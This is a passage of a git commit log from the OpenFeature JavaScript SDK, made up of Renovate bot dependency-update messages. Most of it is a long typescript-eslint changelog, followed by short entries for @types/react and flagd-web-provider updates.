Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.50.0...v5.51.0)

##### Bug Fixes

- **eslint-plugin:** \[sort-type-constituents] fixed behavior change
([#&#8203;6384](https://togithub.com/typescript-eslint/typescript-eslint/issues/6384))
([5bf7f7f](5bf7f7fe48)),
closes
[#&#8203;6339](https://togithub.com/typescript-eslint/typescript-eslint/issues/6339)
- **eslint-plugin:** do not use .at(), Node 14 does not support it
([#&#8203;6402](https://togithub.com/typescript-eslint/typescript-eslint/issues/6402))
([077ed1b](077ed1b5be))

##### Features

- **eslint-plugin:** \[naming-convention] improve performance by
removing unnecessary selectors
([#&#8203;6376](https://togithub.com/typescript-eslint/typescript-eslint/issues/6376))
([3647a1c](3647a1c1bb))
- **eslint-plugin:** \[no-floating-promises] error on logical expression
([#&#8203;6356](https://togithub.com/typescript-eslint/typescript-eslint/issues/6356))
([f330e06](f330e06515))
- **eslint-plugin:** \[no-import-type-side-effects] add rule to warn
against runtime side effects with `verbatimModuleSyntax`
([#&#8203;6394](https://togithub.com/typescript-eslint/typescript-eslint/issues/6394))
([b14d3be](b14d3be0f3))
- **eslint-plugin:** \[strict-boolean-expressions] add allow nullable
enum to strict boolean expressions
([#&#8203;6096](https://togithub.com/typescript-eslint/typescript-eslint/issues/6096))
([d4747cd](d4747cd8cc))

###
[`v5.50.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5500-2023-01-31)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.49.0...v5.50.0)

##### Bug Fixes

- **eslint-plugin:** \[ban-ts-comment] counts graphemes instead of
`String.prototype.length`
([#&#8203;5704](https://togithub.com/typescript-eslint/typescript-eslint/issues/5704))
([09d57ce](09d57cec89))
- **eslint-plugin:** \[prefer-optional-chain] fix `ThisExpression` and
`PrivateIdentifier` errors
([#&#8203;6028](https://togithub.com/typescript-eslint/typescript-eslint/issues/6028))
([85e783c](85e783c1fa))
- **eslint-plugin:** \[prefer-optional-chain] fixer produces wrong logic
([#&#8203;5919](https://togithub.com/typescript-eslint/typescript-eslint/issues/5919))
([b0f6c8e](b0f6c8ec0b)),
closes
[#&#8203;1438](https://togithub.com/typescript-eslint/typescript-eslint/issues/1438)

##### Features

- **eslint-plugin:** add `key-spacing` rule extension for interface &
type declarations
([#&#8203;6211](https://togithub.com/typescript-eslint/typescript-eslint/issues/6211))
([67706e7](67706e72e3))

###
[`v5.49.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5490-2023-01-23)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.48.2...v5.49.0)

##### Features

- **eslint-plugin:** \[naming-convention] add support for `#private`
modifier on class members
([#&#8203;6259](https://togithub.com/typescript-eslint/typescript-eslint/issues/6259))
([c8a6d80](c8a6d80960))

####
[5.48.2](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.48.1...v5.48.2)
(2023-01-16)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

####
[5.48.1](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.48.0...v5.48.1)
(2023-01-09)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

###
[`v5.48.2`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5482-2023-01-16)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.48.1...v5.48.2)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

###
[`v5.48.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5481-2023-01-09)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.48.0...v5.48.1)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

###
[`v5.48.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5480-2023-01-02)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.47.1...v5.48.0)

##### Features

- **eslint-plugin:** specify which method is unbound and added test case
([#&#8203;6281](https://togithub.com/typescript-eslint/typescript-eslint/issues/6281))
([cf3ffdd](cf3ffdd49a))

####
[5.47.1](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.47.0...v5.47.1)
(2022-12-26)

##### Bug Fixes

- **ast-spec:** correct some incorrect ast types
([#&#8203;6257](https://togithub.com/typescript-eslint/typescript-eslint/issues/6257))
([0f3f645](0f3f64571e))
- **eslint-plugin:** \[member-ordering] correctly invert
optionalityOrder
([#&#8203;6256](https://togithub.com/typescript-eslint/typescript-eslint/issues/6256))
([ccd45d4](ccd45d4a99))

###
[`v5.47.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5471-2022-12-26)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.47.0...v5.47.1)

##### Bug Fixes

- **ast-spec:** correct some incorrect ast types
([#&#8203;6257](https://togithub.com/typescript-eslint/typescript-eslint/issues/6257))
([0f3f645](0f3f64571e))
- **eslint-plugin:** \[member-ordering] correctly invert
optionalityOrder
([#&#8203;6256](https://togithub.com/typescript-eslint/typescript-eslint/issues/6256))
([ccd45d4](ccd45d4a99))

###
[`v5.47.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5470-2022-12-19)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.46.1...v5.47.0)

##### Features

- **eslint-plugin:** \[no-floating-promises] add suggestion fixer to add
an 'await'
([#&#8203;5943](https://togithub.com/typescript-eslint/typescript-eslint/issues/5943))
([9e35ef9](9e35ef9af3))

####
[5.46.1](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.46.0...v5.46.1)
(2022-12-12)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

###
[`v5.46.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5461-2022-12-12)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.46.0...v5.46.1)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/eslint-plugin](https://togithub.com/typescript-eslint/eslint-plugin)

###
[`v5.46.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5460-2022-12-08)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.45.1...v5.46.0)

##### Bug Fixes

- **eslint-plugin:** \[ban-types] update message to suggest `object`
instead of `Record<string, unknown>`
([#&#8203;6079](https://togithub.com/typescript-eslint/typescript-eslint/issues/6079))
([d91a5fc](d91a5fc41b))

##### Features

- **eslint-plugin:** \[prefer-nullish-coalescing] logic and test for
strict null checks
([#&#8203;6174](https://togithub.com/typescript-eslint/typescript-eslint/issues/6174))
([8a91cbd](8a91cbd9fb))

####
[5.45.1](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.45.0...v5.45.1)
(2022-12-05)

##### Bug Fixes

- **eslint-plugin:** \[keyword-spacing] unexpected space before/after in
`import type`
([#&#8203;6095](https://togithub.com/typescript-eslint/typescript-eslint/issues/6095))
([98caa92](98caa92ca8))
- **eslint-plugin:** \[no-shadow] add call and method signatures to
`ignoreFunctionTypeParameterNameValueShadow`
([#&#8203;6129](https://togithub.com/typescript-eslint/typescript-eslint/issues/6129))
([9d58b6b](9d58b6be24))
- **eslint-plugin:** \[prefer-optional-chain] collect MetaProperty type
([#&#8203;6083](https://togithub.com/typescript-eslint/typescript-eslint/issues/6083))
([d7114d3](d7114d3ab0))
- **eslint-plugin:** \[sort-type-constituents,
sort-type-union-intersection-members] handle some required parentheses
cases in the fixer
([#&#8203;6118](https://togithub.com/typescript-eslint/typescript-eslint/issues/6118))
([5d49d5d](5d49d5dbee))

###
[`v5.45.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#5451-2022-12-05)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.45.0...v5.45.1)

##### Bug Fixes

- **eslint-plugin:** \[keyword-spacing] unexpected space before/after in
`import type`
([#&#8203;6095](https://togithub.com/typescript-eslint/typescript-eslint/issues/6095))
([98caa92](98caa92ca8))
- **eslint-plugin:** \[no-shadow] add call and method signatures to
`ignoreFunctionTypeParameterNameValueShadow`
([#&#8203;6129](https://togithub.com/typescript-eslint/typescript-eslint/issues/6129))
([9d58b6b](9d58b6be24))
- **eslint-plugin:** \[prefer-optional-chain] collect MetaProperty type
([#&#8203;6083](https://togithub.com/typescript-eslint/typescript-eslint/issues/6083))
([d7114d3](d7114d3ab0))
- **eslint-plugin:** \[sort-type-constituents,
sort-type-union-intersection-members] handle some required parentheses
cases in the fixer
([#&#8203;6118](https://togithub.com/typescript-eslint/typescript-eslint/issues/6118))
([5d49d5d](5d49d5dbee))

</details>

<details>
<summary>typescript-eslint/typescript-eslint
(@&#8203;typescript-eslint/parser)</summary>

###
[`v5.62.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5620-2023-07-10)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.61.0...v5.62.0)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v5.61.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5610-2023-07-03)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.60.1...v5.61.0)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

####
[5.60.1](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.60.0...v5.60.1)
(2023-06-26)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v5.60.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5601-2023-06-26)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.60.0...v5.60.1)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v5.60.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5600-2023-06-19)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.11...v5.60.0)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

####
[5.59.11](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.10...v5.59.11)
(2023-06-12)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

####
[5.59.10](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.9...v5.59.10)
(2023-06-12)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

####
[5.59.9](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.8...v5.59.9)
(2023-06-05)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

####
[5.59.8](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.7...v5.59.8)
(2023-05-29)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

####
[5.59.7](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.6...v5.59.7)
(2023-05-22)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

####
[5.59.6](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.5...v5.59.6)
(2023-05-15)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

####
[5.59.5](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.4...v5.59.5)
(2023-05-08)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

####
[5.59.4](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.3...v5.59.4)
(2023-05-08)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

####
[5.59.3](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.2...v5.59.3)
(2023-05-08)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

####
[5.59.2](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.1...v5.59.2)
(2023-05-01)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

####
[5.59.1](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.0...v5.59.1)
(2023-04-24)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.59.11`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#55911-2023-06-12)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.10...v5.59.11)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.59.10`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#55910-2023-06-12)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.9...v5.59.10)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.59.9`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5599-2023-06-05)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.8...v5.59.9)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.59.8`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5598-2023-05-29)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.7...v5.59.8)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.59.7`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5597-2023-05-22)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.6...v5.59.7)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.59.6`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5596-2023-05-15)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.5...v5.59.6)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.59.5`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5595-2023-05-08)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.2...v5.59.5)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.59.2`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5592-2023-05-01)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.1...v5.59.2)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.59.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#55911-2023-06-12)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.59.0...v5.59.1)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.59.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5590-2023-04-17)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.58.0...v5.59.0)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.58.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5580-2023-04-10)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.57.1...v5.58.0)

##### Bug Fixes

- update getLib for new TypeScript targets ES2021, ES2022
([#&#8203;6782](https://togithub.com/typescript-eslint/typescript-eslint/issues/6782))
([1c04664](1c04664143))

####
[5.57.1](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.57.0...v5.57.1)
(2023-04-03)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.57.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5571-2023-04-03)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.57.0...v5.57.1)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.57.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5570-2023-03-27)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.56.0...v5.57.0)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.56.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5560-2023-03-20)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.55.0...v5.56.0)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.55.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5550-2023-03-13)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.54.1...v5.55.0)

##### Features

- **parser:** add exported meta object
([#&#8203;6586](https://togithub.com/typescript-eslint/typescript-eslint/issues/6586))
([d05c3d8](d05c3d8aa4))

####
[5.54.1](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.54.0...v5.54.1)
(2023-03-06)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.54.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5541-2023-03-06)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.54.0...v5.54.1)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.54.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5540-2023-02-27)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.53.0...v5.54.0)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.53.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5530-2023-02-20)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.52.0...v5.53.0)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.52.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5520-2023-02-13)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.51.0...v5.52.0)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.51.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5510-2023-02-06)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.50.0...v5.51.0)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.50.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5500-2023-01-31)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.49.0...v5.50.0)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.49.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5490-2023-01-23)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.48.2...v5.49.0)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

####
[5.48.2](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.48.1...v5.48.2)
(2023-01-16)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

####
[5.48.1](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.48.0...v5.48.1)
(2023-01-09)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.48.2`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5482-2023-01-16)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.48.1...v5.48.2)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.48.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5481-2023-01-09)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.48.0...v5.48.1)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.48.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5480-2023-01-02)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.47.1...v5.48.0)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

####
[5.47.1](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.47.0...v5.47.1)
(2022-12-26)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.47.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5471-2022-12-26)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.47.0...v5.47.1)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.47.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5470-2022-12-19)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.46.1...v5.47.0)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

####
[5.46.1](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.46.0...v5.46.1)
(2022-12-12)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.46.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5461-2022-12-12)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.46.0...v5.46.1)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

###
[`v5.46.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5460-2022-12-08)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.45.1...v5.46.0)

**Note:** Version bump only for package
[@&#8203;typescript-eslint/parser](https://togithub.com/typescript-eslint/parser)

####
[5.45.1](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.45.0...v5.45.1)
(2022-12-05)

##### Bug Fixes

- **parser:** remove the jsx option requirement for automatic jsx pragma
resolution
([#&#8203;6134](https://togithub.com/typescript-eslint/typescript-eslint/issues/6134))
([e777f5e](e777f5e225))

###
[`v5.45.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#5451-2022-12-05)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v5.45.0...v5.45.1)

##### Bug Fixes

- **parser:** remove the jsx option requirement for automatic jsx pragma
resolution
([#&#8203;6134](https://togithub.com/typescript-eslint/typescript-eslint/issues/6134))
([e777f5e](e777f5e225))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNi4xMS4wIiwidXBkYXRlZEluVmVyIjoiMzYuODMuMCIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-09-13 10:06:59 -04:00
renovate[bot] a50f7a8043
chore(deps): update dependency @types/react to v18.2.21 (#550)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/react](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped)) |
[`18.2.20` ->
`18.2.21`](https://renovatebot.com/diffs/npm/@types%2freact/18.2.20/18.2.21)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact/18.2.21?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact/18.2.21?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact/18.2.20/18.2.21?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact/18.2.20/18.2.21?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNi42NC44IiwidXBkYXRlZEluVmVyIjoiMzYuNjQuOCIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-09-13 09:46:00 -04:00
renovate[bot] c9202bbc79
chore(deps): update dependency @openfeature/flagd-web-provider to ^0.4.0 (#540)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| @&#8203;openfeature/flagd-web-provider | [`^0.3.5` ->
`^0.4.0`](https://renovatebot.com/diffs/npm/@openfeature%2fflagd-web-provider/0.3.5/0.4.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@openfeature%2fflagd-web-provider/0.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
